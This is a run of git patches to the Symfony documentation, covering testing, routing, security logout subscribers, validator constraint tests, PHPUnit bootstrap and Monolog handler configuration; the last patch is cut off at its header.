 

From dad267e2ca85d21b568f3580304d3c6c19997ee8 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 5 Oct 2022 21:33:46 +0200
Subject: [PATCH 2398/5766] Update testing.rst

Co-authored-by: Jules Pietri <heahdude@yahoo.fr>
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b195ae60b0f..c29b53e705a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -538,7 +538,7 @@ This allows you to create all types of requests you can think of:
 .. caution::
 
     Before each request, the client reboots the kernel, recreating the container from scratch.
-    That gives each request an "isolated" environment because each request will create new service objects.
+    This ensures that every requests are "isolated" using "new" service objects.
     Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
     refreshed by the manager or queried again from a repository.
     when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want

From b636d2e2dec0753e16273dd1a9505c3b32d2c123 Mon Sep 17 00:00:00 2001
From: Deco <andretefras@gmail.com>
Date: Wed, 5 Oct 2022 23:40:33 -0300
Subject: [PATCH 2399/5766] Add missing space

---
 quick_tour/flex_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 9fed0c64e12..0c44c5dcb1b 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -165,7 +165,7 @@ Are you building an API? You can already return JSON from any controller::
         // ...
 
         #[Route('/api/hello/{name}', methods: ['GET'])]
-        public function apiHello(string$name): JsonResponse
+        public function apiHello(string $name): JsonResponse
         {
             return $this->json([
                 'name' => $name,

From 1898849add4f51ba8131d4f464c4b13ff1c8c28c Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 6 Oct 2022 16:46:45 +0200
Subject: [PATCH 2400/5766] add break lines and remove useless line

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index c29b53e705a..1312bb69191 100644
--- a/testing.rst
+++ b/testing.rst
@@ -537,12 +537,12 @@ This allows you to create all types of requests you can think of:
 
 .. caution::
 
-    Before each request, the client reboots the kernel, recreating the container from scratch.
+    Before each request, the client reboots the kernel, recreating
+    the container from scratch.
     This ensures that every requests are "isolated" using "new" service objects.
-    Also, it means that entities loaded by Doctrine repositories will be "detached", so they will need to be
-    refreshed by the manager or queried again from a repository.
-    when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
-    to have entities in "valid state".
+    Also, it means that entities loaded by Doctrine repositories will
+    be "detached", so they will need to be refreshed by the manager or
+    queried again from a repository.
 
 Browsing the Site
 .................

From 2309b0b814eb8967a8f158627896d2b85e63258b Mon Sep 17 00:00:00 2001
From: KosticDusan4D <75327101+KosticDusan4D@users.noreply.github.com>
Date: Wed, 11 May 2022 13:58:50 +0200
Subject: [PATCH 2401/5766] Correcting bugs for provider and JSON login

On lines 501 and 502 I propose this change, because it confused me so much which provider to use, and in the case that you are explaining there you should use earlier configured app_user_provider, not users_in_memory.

On line 1043 I had a problem that $user is always null until I deleted the "?User" from parameters. I think that PHP gets confused here with the way it is written. And to say that now with that part removed everything works fine.

Thanks in advance and I hope that I contributed even a little as this is.
---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index dac009b6c66..e2cc5fde10a 100644
--- a/security.rst
+++ b/security.rst
@@ -498,7 +498,8 @@ will be able to authenticate (e.g. login form, API token, etc).
                     security: false
                 main:
                     lazy: true
-                    provider: users_in_memory
+                    # provider that you set earlier inside providers
+                    provider: app_user_provider
 
                     # activate different ways to authenticate
                     # https://symfony.com/doc/current/security.html#firewalls-authentication

From f86496ce16089c8e3ea3b0e9131b4fd404816e36 Mon Sep 17 00:00:00 2001
From: Jeroen <1517978+jeroeny@users.noreply.github.com>
Date: Thu, 2 Sep 2021 15:50:15 +0200
Subject: [PATCH 2402/5766] Use fourth argument of RoutingConfigurator instead
 of non-existent method

---
 routing.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index b41371f42ce..000d856ebeb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1247,7 +1247,11 @@ the common configuration using options when importing the routes.
         return function (RoutingConfigurator $routes) {
             // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
-            $routes->import('../../src/Controller/', 'annotation')
+            $routes->import(
+                    resource: '../../src/Controller/',
+                    type: 'annotation',
+                    exclude: '../../src/Controller/{DebugEmailController}.php'
+                )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
 
@@ -1260,9 +1264,6 @@ the common configuration using options when importing the routes.
 
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
-
-                // you can optionally exclude some files/subdirectories when loading annotations
-                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 

From 83d0d4d53a71187a20e073d7c466011878420544 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 7 Oct 2022 17:39:41 +0200
Subject: [PATCH 2403/5766] Minor tweak

---
 routing.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 000d856ebeb..f1747e5bc9e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1245,12 +1245,13 @@ the common configuration using options when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fourth argument of import() to exclude some files
-            // or subdirectories when loading annotations
             $routes->import(
-                    resource: '../../src/Controller/',
-                    type: 'annotation',
-                    exclude: '../../src/Controller/{DebugEmailController}.php'
+                    '../../src/Controller/',
+                    'annotation',
+                    false,
+                    // the optional fourth argument is used to exclude some files
+                    // or subdirectories when loading annotations
+                    '../../src/Controller/{DebugEmailController}.php'
                 )
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')

From 74daa0e5689f93432124de30271ea3d73a54404c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 8 Oct 2022 11:22:00 +0200
Subject: [PATCH 2404/5766] [Messenger] Removing note docblock for
 MessageHandlerInterface

The docblock note is no longer required from Symfony 6.0 onwards as it requires PHP 8.0.
---
 messenger.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7ae218ac485..9fd70b268a5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -70,12 +70,6 @@ message class (or a message interface)::
         }
     }
 
-.. note::
-
-    You can also create a class without the attribute (e.g. if you're
-    using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
-    instead.
-
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can

From 49002910319ddc5fc788d179604d1a006af94901 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:24:40 +0200
Subject: [PATCH 2405/5766] [Validator] Add hint for testing custom constraints

---
 validation/custom_constraint.rst | 43 ++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index d9933e7671b..1c9cbbffa4c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -272,3 +272,46 @@ not to the property:
                 $metadata->addConstraint(new ProtocolClass());
             }
         }
+
+Testing Custom Constraints
+--------------------------
+
+Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
+unit tests for your custom constraints::
+
+    // ...
+    use App\Validator\ContainsAlphanumeric;
+    use App\Validator\ContainsAlphanumericValidator;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        {
+            $this->validator->validate('...', $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', '...')
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield [new ContainsAlphanumeric(message: 'myMessage')];
+            // ...
+        }
+    }

From 9cbca1a54809406d3e04edc1b5af46aada1681c3 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Wed, 24 Jun 2020 23:35:27 +0300
Subject: [PATCH 2406/5766] [Validator] Unit Tests

---
 validation/custom_constraint.rst | 269 ++++++++++++++++++++++++++++---
 1 file changed, 246 insertions(+), 23 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 1c9cbbffa4c..7bb2772e1be 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -194,22 +194,112 @@ Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Besides validating a single property, a constraint can have an entire class
-as its scope. You only need to add this to the ``Constraint`` class::
+as its scope. Consider the following classes, that describe the receipt of some payment::
 
-    public function getTargets()
+    // src/AppBundle/Model/PaymentReceipt.php
+    class PaymentReceipt
     {
-        return self::CLASS_CONSTRAINT;
+        /**
+         * @var User
+         */
+        private $user;
+
+        /**
+         * @var array
+         */
+        private $payload;
+
+        public function __construct(User $user, array $payload)
+        {
+            $this->user = $user;
+            $this->payload = $payload;
+        }
+
+        public function getUser(): User
+        {
+            return $this->user;
+        }
+
+        public function getPayload(): array
+        {
+            return $this->payload;
+        }
+    }
+
+    // src/AppBundle/Model/User.php
+
+    class User
+    {
+        /**
+         * @var string
+         */
+        private $email;
+
+        public function __construct($email)
+        {
+            $this->email = $email;
+        }
+
+        public function getEmail(): string
+        {
+            return $this->email;
+        }
+    }
+
+As an example you're going to check if the email in receipt payload matches the user email.
+To validate the receipt, it is required to create the constraint first.
+You only need to add the ``getTargets()`` method to the ``Constraint`` class::
+
+    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceipt.php
+    namespace AppBundle\Validator\Constraints;
+
+    use Symfony\Component\Validator\Constraint;
+
+    /**
+     * @Annotation
+     */
+    class ConfirmedPaymentReceipt extends Constraint
+    {
+        public $userDoesntMatchMessage = 'User email does not match the receipt email';
+
+        public function getTargets()
+        {
+            return self::CLASS_CONSTRAINT;
+        }
     }
 
 With this, the validator's ``validate()`` method gets an object as its first argument::
 
-    class ProtocolClassValidator extends ConstraintValidator
+    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceiptValidator.php
+    namespace AppBundle\Validator\Constraints;
+
+    use Symfony\Component\Validator\Constraint;
+    use Symfony\Component\Validator\ConstraintValidator;
+    use Symfony\Component\Validator\Exception\UnexpectedValueException;
+
+    class ConfirmedPaymentReceiptValidator extends ConstraintValidator
     {
-        public function validate($protocol, Constraint $constraint)
+        /**
+         * @param PaymentReceipt $receipt
+         * @param Constraint|ConfirmedPaymentReceipt $constraint
+         */
+        public function validate($receipt, Constraint $constraint)
         {
-            if ($protocol->getFoo() != $protocol->getBar()) {
-                $this->context->buildViolation($constraint->message)
-                    ->atPath('foo')
+            if (!$receipt instanceof PaymentReceipt) {
+                throw new UnexpectedValueException($receipt, PaymentReceipt::class);
+            }
+
+            if (!$constraint instanceof ConfirmedPaymentReceipt) {
+                throw new UnexpectedValueException($constraint, ConfirmedPaymentReceipt::class);
+            }
+
+            $receiptEmail = $receipt->getPayload()['email'] ?? null;
+            $userEmail = $receipt->getUser()->getEmail();
+
+            if ($userEmail !== $receiptEmail) {
+                $this->context
+                    ->buildViolation($constraint->userDoesntMatchMessage)
+                    ->atPath('user.email')
                     ->addViolation();
             }
         }
@@ -232,47 +322,46 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
-         * @AcmeAssert\ProtocolClass
+         * @AppAssert\ConfirmedPaymentReceipt
          */
-        class AcmeEntity
+        class PaymentReceipt
         {
             // ...
         }
 
     .. code-block:: yaml
 
-        # config/validator/validation.yaml
-        App\Entity\AcmeEntity:
+        # src/AppBundle/Resources/config/validation.yml
+        AppBundle\Model\PaymentReceipt:
             constraints:
-                - App\Validator\ProtocolClass: ~
+                - AppBundle\Validator\Constraints\ConfirmedPaymentReceipt: ~
 
     .. code-block:: xml
 
-        <!-- config/validator/validation.xml -->
-        <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\ProtocolClass"/>
+        <!-- src/AppBundle/Resources/config/validation.xml -->
+        <class name="AppBundle\Model\PaymentReceipt">
+            <constraint name="AppBundle\Validator\Constraints\ConfirmedPaymentReceipt"/>
         </class>
 
     .. code-block:: php
 
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator\ProtocolClass;
+        // src/AppBundle/Model/PaymentReceipt.php
+        use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class AcmeEntity
+        class PaymentReceipt
         {
             // ...
 
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addConstraint(new ProtocolClass());
+                $metadata->addConstraint(new ConfirmedPaymentReceipt());
             }
         }
 
+<<<<<<< HEAD
 Testing Custom Constraints
 --------------------------
 
@@ -315,3 +404,137 @@ unit tests for your custom constraints::
             // ...
         }
     }
+
+How to Unit Test your Validator
+-------------------------------
+
+To create a unit test for you custom validator, your test case class should
+extend the ``ConstraintValidatorTestCase`` class and implement the ``createValidator()`` method::
+
+    protected function createValidator()
+    {
+        return new ContainsAlphanumericValidator();
+    }
+
+After that you can add any test cases you need to cover the validation logic::
+
+    use AppBundle\Validator\Constraints\ContainsAlphanumeric;
+    use AppBundle\Validator\Constraints\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        /**
+         * @dataProvider getValidStrings
+         */
+        public function testValidStrings($string)
+        {
+            $this->validator->validate($string, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        public function getValidStrings()
+        {
+            return [
+                ['Fabien'],
+                ['SymfonyIsGreat'],
+                ['HelloWorld123'],
+            ];
+        }
+
+        /**
+         * @dataProvider getInvalidStrings
+         */
+        public function testInvalidStrings($string)
+        {
+            $constraint = new ContainsAlphanumeric([
+                'message' => 'myMessage',
+            ]);
+
+            $this->validator->validate($string, $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', $string)
+                ->assertRaised();
+        }
+
+        public function getInvalidStrings()
+        {
+            return [
+                ['example_'],
+                ['@$^&'],
+                ['hello-world'],
+                ['<body>'],
+            ];
+        }
+    }
+
+You can also use the ``ConstraintValidatorTestCase`` class for creating test cases for class constraints::
+
+    use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
+    use AppBundle\Validator\Constraints\ConfirmedPaymentReceiptValidator;
+    use Symfony\Component\Validator\Exception\UnexpectedValueException;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
+
+    class ConfirmedPaymentReceiptValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ConfirmedPaymentReceiptValidator();
+        }
+
+        public function testValidReceipt()
+        {
+            $receipt = new PaymentReceipt(new User('foo@bar.com'), ['email' => 'foo@bar.com', 'data' => 'baz']);
+            $this->validator->validate($receipt, new ConfirmedPaymentReceipt());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider getInvalidReceipts
+         */
+        public function testInvalidReceipt($paymentReceipt)
+        {
+            $this->validator->validate(
+                $paymentReceipt,
+                new ConfirmedPaymentReceipt(['userDoesntMatchMessage' => 'myMessage'])
+            );
+
+            $this->buildViolation('myMessage')
+                ->atPath('property.path.user.email')
+                ->assertRaised();
+        }
+
+        public function getInvalidReceipts()
+        {
+            return [
+                [new PaymentReceipt(new User('foo@bar.com'), [])],
+                [new PaymentReceipt(new User('foo@bar.com'), ['email' => 'baz@foo.com'])],
+            ];
+        }
+
+        /**
+         * @dataProvider getUnexpectedArguments
+         */
+        public function testUnexpectedArguments($value, $constraint)
+        {
+            self::expectException(UnexpectedValueException::class);
+
+            $this->validator->validate($value, $constraint);
+        }
+
+        public function getUnexpectedArguments()
+        {
+            return [
+                [new \stdClass(), new ConfirmedPaymentReceipt()],
+                [new PaymentReceipt(new User('foo@bar.com'), []), new Unique()],
+            ];
+        }
+    }

From 4f90b3cba960928260996dc9b2ff289d7deec333 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:24:48 +0200
Subject: [PATCH 2407/5766] Adding full subscriber example

Reason: It's not so easy to figure this out, since the linked Event Subscriber page doesn't show how to subscribe to this specific event.

Questions:
* The introduction text says "e.g. invalidate some tokens". How can this be done?
* How can you add a flash message? `$this->addFlashMessage()` didn't work for me.
* I'm extending `AbstractController` to have access to `$this->generateUrl()` - is this the easiest/best way?
---
 security.rst | 55 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 17 deletions(-)

diff --git a/security.rst b/security.rst
index 18e6fccc669..8d1277591d2 100644
--- a/security.rst
+++ b/security.rst
@@ -1766,17 +1766,40 @@ In some cases you need to run extra logic upon logout (e.g. invalidate
 some tokens) or want to customize what happens after a logout. During
 logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
 is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
-to run custom logic. The following information is available in the
-event class:
-
-``getToken()``
-    Returns the security token of the session that is about to be logged
-    out.
-``getRequest()``
-    Returns the current request.
-``getResponse()``
-    Returns a response, if it is already set by a custom listener. Use
-    ``setResponse()`` to configure a custom logout response.
+to execute custom logic::
+
+    // src/EventListener/LogoutSubscriber.php
+    namespace App\EventListener;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+    class LogoutSubscriber extends AbstractController implements EventSubscriberInterface
+    {
+        public static function getSubscribedEvents(): array
+        {
+            return [LogoutEvent::class => 'onLogout'];
+        }
+
+        public function onLogout(LogoutEvent $event): void
+        {
+            // get the security token of the session that is about to be logged out
+            $token = $event->getToken();
+
+            // get the current request
+            $request = $event->getRequest();
+
+            // get the current response, if it is already set by another listener
+            $response = $event->getResponse();
+
+            // configure a custom logout response
+            $event->setResponse(
+                new RedirectResponse($this->generateUrl('homepage', []), RedirectResponse::HTTP_SEE_OTHER)
+            );
+        }
+    }
 
 .. _retrieving-the-user-object:
 
@@ -2534,7 +2557,7 @@ for these events.
             services:
                 # ...
 
-                App\EventListener\CustomLogoutSubscriber:
+                App\EventListener\LogoutSubscriber:
                     tags:
                         - name: kernel.event_subscriber
                           dispatcher: security.event_dispatcher.main
@@ -2551,7 +2574,7 @@ for these events.
                 <services>
                     <!-- ... -->
 
-                    <service id="App\EventListener\CustomLogoutSubscriber">
+                    <service id="App\EventListener\LogoutSubscriber">
                         <tag name="kernel.event_subscriber"
                              dispatcher="security.event_dispatcher.main"
                          />
@@ -2564,14 +2587,12 @@ for these events.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
+            use App\EventListener\LogoutSubscriber;
 
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set(CustomLogoutSubscriber::class)
+                $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
                         'dispatcher' => 'security.event_dispatcher.main',
                     ]);

From 117ed8fd55e476193e13827b449ab59e73f04969 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:29:21 +0200
Subject: [PATCH 2408/5766] [#15186] Update example

---
 security.rst | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 8d1277591d2..e253dc68013 100644
--- a/security.rst
+++ b/security.rst
@@ -1771,13 +1771,18 @@ to execute custom logic::
     // src/EventListener/LogoutSubscriber.php
     namespace App\EventListener;
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpFoundation\RedirectResponse;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Http\Event\LogoutEvent;
 
-    class LogoutSubscriber extends AbstractController implements EventSubscriberInterface
+    class LogoutSubscriber implements EventSubscriberInterface
     {
+        public function __construct(
+            private UrlGeneratorInterface $urlGenerator
+        ) {
+        }
+
         public static function getSubscribedEvents(): array
         {
             return [LogoutEvent::class => 'onLogout'];
@@ -1794,10 +1799,12 @@ to execute custom logic::
             // get the current response, if it is already set by another listener
             $response = $event->getResponse();
 
-            // configure a custom logout response
-            $event->setResponse(
-                new RedirectResponse($this->generateUrl('homepage', []), RedirectResponse::HTTP_SEE_OTHER)
+            // configure a custom logout response to the homepage
+            $response = new RedirectResponse(
+                $this->urlGenerator->generate('homepage'),
+                RedirectResponse::HTTP_SEE_OTHER
             );
+            $event->setResponse($response);
         }
     }
 

From c08e8fd15af374845239d22959c3ae9d08d009b1 Mon Sep 17 00:00:00 2001
From: Barun <kharelbarun@gmail.com>
Date: Wed, 9 Jun 2021 23:22:27 +0545
Subject: [PATCH 2409/5766] Fix example code of customization of bootstrapping
 in test

The change is copied from Symfony 4.4.
---
 testing/bootstrap.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 7acdd6e78cc..03210929cf2 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -6,20 +6,20 @@ running those tests. For example, if you're running a functional test and
 have introduced a new translation resource, then you will need to clear your
 cache before running those tests.
 
-Symfony already created the following ``tests/bootstrap.php`` file when installing
-the package to work with tests. If you don't have this file, create it::
+To do this, first add a file that executes your bootstrap work::
 
     // tests/bootstrap.php
-    use Symfony\Component\Dotenv\Dotenv;
-
-    require dirname(__DIR__).'/vendor/autoload.php';
-
-    if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) {
-        require dirname(__DIR__).'/config/bootstrap.php';
-    } elseif (method_exists(Dotenv::class, 'bootEnv')) {
-        (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
+    if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
+        // executes the "php bin/console cache:clear" command
+        passthru(sprintf(
+            'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+            $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
+            __DIR__
+        ));
     }
 
+    require __DIR__.'/../config/bootstrap.php';
+
 Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file
 before running the tests:
 

From a7c73785bb629b30fc07e3249b1c1a6b9313bbc2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 15:46:54 +0200
Subject: [PATCH 2410/5766] [#15428] Add a bit more detail to bootstrap article

---
 testing.rst           |  2 ++
 testing/bootstrap.rst | 71 +++++++++++++++++++++++++++----------------
 2 files changed, 46 insertions(+), 27 deletions(-)

diff --git a/testing.rst b/testing.rst
index 89e670c710e..778c2cb0dd0 100644
--- a/testing.rst
+++ b/testing.rst
@@ -8,6 +8,8 @@ Whenever you write a new line of code, you also potentially add new bugs.
 To build better and more reliable applications, you should test your code
 using both functional and unit tests.
 
+.. _testing-installation:
+
 The PHPUnit Testing Framework
 -----------------------------
 
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index 03210929cf2..c075552a9e3 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -6,47 +6,64 @@ running those tests. For example, if you're running a functional test and
 have introduced a new translation resource, then you will need to clear your
 cache before running those tests.
 
-To do this, first add a file that executes your bootstrap work::
+When :ref:`installing testing <testing-installation>` using Symfony Flex,
+it already created a ``tests/bootstrap.php`` file that is run by PHPUnit
+before your tests.
 
-    // tests/bootstrap.php
-    if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
-        // executes the "php bin/console cache:clear" command
-        passthru(sprintf(
-            'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
-            $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
-            __DIR__
-        ));
-    }
+You can modify this file to add custom logic:
 
-    require __DIR__.'/../config/bootstrap.php';
+.. code-block:: diff
 
-Then, check that your ``phpunit.xml.dist`` file runs this ``bootstrap.php`` file
-before running the tests:
+      // tests/bootstrap.php
+      use Symfony\Component\Dotenv\Dotenv;
 
-.. code-block:: xml
+      require dirname(__DIR__).'/vendor/autoload.php';
 
-    <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <phpunit
-        bootstrap="tests/bootstrap.php"
-    >
-        <!-- ... -->
-    </phpunit>
+      if (file_exists(dirname(__DIR__).'/config/bootstrap.php')) {
+          require dirname(__DIR__).'/config/bootstrap.php';
+      } elseif (method_exists(Dotenv::class, 'bootEnv')) {
+          (new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
+      }
+
+    + if (isset($_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'])) {
+    +     // executes the "php bin/console cache:clear" command
+    +     passthru(sprintf(
+    +         'APP_ENV=%s php "%s/../bin/console" cache:clear --no-warmup',
+    +         $_ENV['BOOTSTRAP_CLEAR_CACHE_ENV'],
+    +         __DIR__
+    +     ));
+    + }
+
+.. note::
 
-Now, you can define in your ``phpunit.xml.dist`` file which environment you want the
-cache to be cleared:
+    If you don't use Symfony Flex, make sure this file is configured as
+    bootstrap file in your ``phpunit.xml.dist`` file:
+
+    .. code-block:: xml
+
+        <!-- phpunit.xml.dist -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <phpunit
+            bootstrap="tests/bootstrap.php"
+        >
+            <!-- ... -->
+        </phpunit>
+
+Now, you can update the ``phpunit.xml.dist`` file to declare the custom
+environment variable introduced to ``tests/bootstrap.php``:
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
     <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
-        <!-- ... -->
-
         <php>
             <env name="BOOTSTRAP_CLEAR_CACHE_ENV" value="test"/>
+            <!-- ... -->
         </php>
+
+        <!-- ... -->
     </phpunit>
 
-This now becomes an environment variable (i.e. ``$_ENV``) that's available
-in the custom bootstrap file (``tests/bootstrap.php``).
+Now, when running ``vendor/bin/phpunit``, the cache will be cleared
+automatically by the bootstrap file before running all tests.

From 9d762e72ff181ae81f9d12c26ad5bce89f7186b3 Mon Sep 17 00:00:00 2001
From: Pedro Resende <pedroresende@mail.resende.biz>
Date: Thu, 15 Jul 2021 19:32:25 +0100
Subject: [PATCH 2411/5766] Example remote ElasticsearchLogstashHandler

---
 logging/handlers.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 0ce0f4c3249..a77bc8ec9d8 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -30,6 +30,15 @@ To use it, declare it as a service:
         services:
             Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
 
+            # optionally, configure the handler using the constructor arguments (shown values are default)
+            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
+                arguments:
+                    $endpoint: "http://127.0.0.1:9200"
+                    $index: "monolog"
+                    $client: null
+                    $level: !php/const Monolog\Logger::DEBUG
+                    $bubble: true
+
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -44,16 +53,37 @@ To use it, declare it as a service:
 
             <services>
                 <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler"/>
+
+                <!-- optionally, configure the handler using the constructor arguments (shown values are default) -->
+                <service id="Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler">
+                    <argument key="endpoint">http://127.0.0.1:9200</argument>
+                    <argument key="index">monolog</argument>
+                    <argument key="client"/>
+                    <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
+                    <argument key="bubble">true</argument>
+                </service>
             </services>
         </container>
 
     .. code-block:: php
 
         // config/services.php
+        use Monolog\Logger;
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
 
         $container->register(ElasticsearchLogstashHandler::class);
 
+        // optionally, configure the handler using the constructor arguments (shown values are default)
+        $container->register(ElasticsearchLogstashHandler::class)
+            ->setArguments(
+                '$endpoint' => "http://127.0.0.1:9200",
+                '$index' => "monolog",
+                '$client' => null,
+                '$level' => Logger::DEBUG,
+                '$bubble' => true,
+            )
+        ;
+
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 22217fa37d2c64b664a3bacfad1aa04aeb6b7587 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
